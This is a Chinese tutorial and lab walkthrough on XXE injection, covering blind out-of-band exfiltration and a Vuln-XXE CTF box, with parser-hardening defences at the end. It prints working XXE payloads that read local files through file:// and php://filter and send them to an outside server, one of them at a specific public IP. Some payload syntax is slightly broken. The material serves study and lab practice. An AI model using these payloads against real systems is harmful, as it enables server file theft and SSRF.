提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档
文章目录
- 前言
- 一、XML外部实体注入原理
- 二、无回显XXE
- 三、XXE靶机复现
- 四、关于WAF的XXE绕过
前言
如今大量Web应用程序使用XML,在浏览器与前端应用程序服务器之间传送请求和响应,如果使用专门设计的输入破坏应用程序的运行并执行某些未授权操作,这些位置都易于受到攻击。作为小白,接触过CTF也曾见到过几道XML外部实体注入的题,但一直未全面总结。在此,做个全面总结。
一、XML外部实体注入原理
(1)何为XML:
- XML 指可扩展标记语言(EXtensible Markup Language)
- XML 是一种标记语言,很类似 HTML
- XML 的设计宗旨是传输数据,而非显示数据
- XML 标签没有被预定义。您需要自行定义标签。
- XML 被设计为具有自我描述性。
- XML 是 W3C 的推荐标准
在我看来,XML是一种有格式规范的用户自定义语言,利于数据的存储和传输(类似于JSON)。
示例:
<?xml version="1.0"?> <!--XML文档定义-->
<!DOCTYPE root [
<!ELEMENT root(name,password)
<!ELEMENT name(#PCDATA)>
<!ELEMENT password(#PCDATA)>
]>
<root>
<name>
admin
</name>
<password>
admin123
</password>
</root>
(2)XML 外部实体注入成因:XML规范允许外部引用来定义实体,XML解析器将动态提取这些实体的值,XML解析器将提取指定的URL或文件的内容,并将其作为已定义实体的值在响应中返回。
(3)xml外部实体注入的利用:
1,使用file://或php://协议来指定本地文件系统上的资源并使其返回
2,使用http://等协议让服务器通过网络提取资源,泄露敏感信息。
3,执行SSRF类的攻击,通过XML实体注入对内网进行端口,主机等探测
4,通过无期限读取某个文件流,实施拒绝服务攻击
5,利用它们与后端系统上无法通过因特网直接访问的网络服务器进行交互,如尝试连接到25端口的邮件服务器。
二、无回显XXE
1,无回显XXE指没有数据返回显示的XXE漏洞,那么该如何利用无回显XXE进行数据等泄露。
利用原理:通过外带通道提取数据,先获取目标文件的内容,然后将内容以http请求发送到数据接受的服务器上。
payload:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file///filename">
<!ENTITY % remote SYSTEM "http://ip/test.xml">
%remote;
%send;
]>
数据服务器上xml:
<!ENTITY % all
"<!ENTITY %#x25; send SYSTEM "http://ip/test.xml?p=%file;">"
>
%all;
先调用%remote,调用后访问远程服务器上的xml,然后服务器上的xml中的%all被赋予了下一行的值,第二行中的%send值后面的外部参数体声明将SYSTEM后面的内容赋给了%send,也就是传入实体%file访问远程服务器。
2.Vuln-XXE靶机复现
1,通过nmap扫描ip段扫描出存货的主机,发现192.168.23.133为靶机的地址,并且仅开放了80端口。
2,利用dirsearch扫描靶机的80端口的URL路径,发现有/index.html和/robots.txt路径
3,访问192.168.23.133(靶机)的robots.txt文件,法西安提示路径/xxe/以及/xxe/admin.php
4,访问靶机的/xxe路径发现存在登录,随便输入账号密码发现页面存在回显,利用burpsuite抓包查看。
5,通过抓包发现是XML数据的提交,利用外部实体注入读取用户的账户文件,确定存在XXE漏洞
6,继续通过php://filter读取admin.php的文件源码,进行base64解码
7,得到admin.php的源码:
<?php
session_start();
?>
<html lang = "en">
<head>
<title>admin</title>
<link href = "css/bootstrap.min.css" rel = "stylesheet">
<style>
body {
padding-top: 40px;
padding-bottom: 40px;
background-color: #ADABAB;
}
.form-signin {
max-width: 330px;
padding: 15px;
margin: 0 auto;
color: #017572;
}
.form-signin .form-signin-heading,
.form-signin .checkbox {
margin-bottom: 10px;
}
.form-signin .checkbox {
font-weight: normal;
}
.form-signin .form-control {
position: relative;
height: auto;
-webkit-box-sizing: border-box;
-moz-box-sizing: border-box;
box-sizing: border-box;
padding: 10px;
font-size: 16px;
}
.form-signin .form-control:focus {
z-index: 2;
}
.form-signin input[type="email"] {
margin-bottom: -1px;
border-bottom-right-radius: 0;
border-bottom-left-radius: 0;
border-color:#017572;
}
.form-signin input[type="password"] {
margin-bottom: 10px;
border-top-left-radius: 0;
border-top-right-radius: 0;
border-color:#017572;
}
h2{
text-align: center;
color: #017572;
}
</style>
</head>
<body>
<h2>Enter Username and Password</h2>
<div class = "container form-signin">
<?php
$msg = '';
if (isset($_POST['login']) && !empty($_POST['username'])
&& !empty($_POST['password'])) {
if ($_POST['username'] == 'administhebest' &&
md5($_POST['password']) == 'e6e061838856bf47e1de730719fb2609') {
$_SESSION['valid'] = true;
$_SESSION['timeout'] = time();
$_SESSION['username'] = 'administhebest';
echo "You have entered valid use name and password <br />";
$flag = "Here is the <a style='color:FF0000;' href='/flagmeout.php'>Flag</a>";
echo $flag;
}else {
$msg = 'Maybe Later';
}
}
?>
</div> <!-- W00t/W00t -->
<div class = "container">
<form class = "form-signin" role = "form"
action = "<?php echo htmlspecialchars($_SERVER['PHP_SELF']);
?>" method = "post">
<h4 class = "form-signin-heading"><?php echo $msg; ?></h4>
<input type = "text" class = "form-control"
name = "username"
required autofocus></br>
<input type = "password" class = "form-control"
name = "password" required>
<button class = "btn btn-lg btn-primary btn-block" type = "submit"
name = "login">Login</button>
</form>
Click here to clean <a href = "adminlog.php" tite = "Logout">Session.
</div>
</body>
</html>
前面为一些CSS文件,关键在于:
<?php
$msg = '';
if (isset($_POST['login']) && !empty($_POST['username'])
&& !empty($_POST['password'])) {
if ($_POST['username'] == 'administhebest' &&
md5($_POST['password']) == 'e6e061838856bf47e1de730719fb2609') {
$_SESSION['valid'] = true;
$_SESSION['timeout'] = time();
$_SESSION['username'] = 'administhebest';
echo "You have entered valid use name and password <br />";
$flag = "Here is the <a style='color:FF0000;' href='/flagmeout.php'>Flag</a>";
echo $flag;
}else {
$msg = 'Maybe Later';
}
}
?>
用户名为administhebest,密码为md5加密后为e6e061838856bf47e1de730719fb2609,验证正确后$flag执行路径/flagmeout.php文件,直接利用XML注入读取出flagmeout.php的内容
8,双==结尾,进行base64解码
9,得到的字符串不像是base64,进行base32瞧瞧,发现使用base32先解码后进行base64解码得出/etc/.flag.php,继续利用XXE读取此文件的内容,并进行解码。
10,解码出来发现一串类似于无字符Webshell构造的PHP内容,复制到PHP上跑一跑,应该需要PHP版本比较低,PHP7以上就跑不出来flag。
11,尝试一下无回显XXE的做法,先在一台服务器(IP为某公网ip)上开启apache服务,并且构造如图的dtd文件。
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=flag.php" >
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://120.79.29.170:2222?p=%file;'>">
XML外部实体注入的防御
1,禁用外部实体
//PHP
libxml_disable_entity_loader(true)
//.NET
XmlDocument doc= new XmlDocument();
doc.XmlResolver = null;
//ASP
Set xmldom = Server.CreateObject("MSXML2.DOMDocument")
xmldom.resolveExternals = false
//Python
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
//JAVA
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
2,使用waf等过滤用户提交的XML数据,如关键词<!DOCTYPE和<!ENTITY以及各种协议等。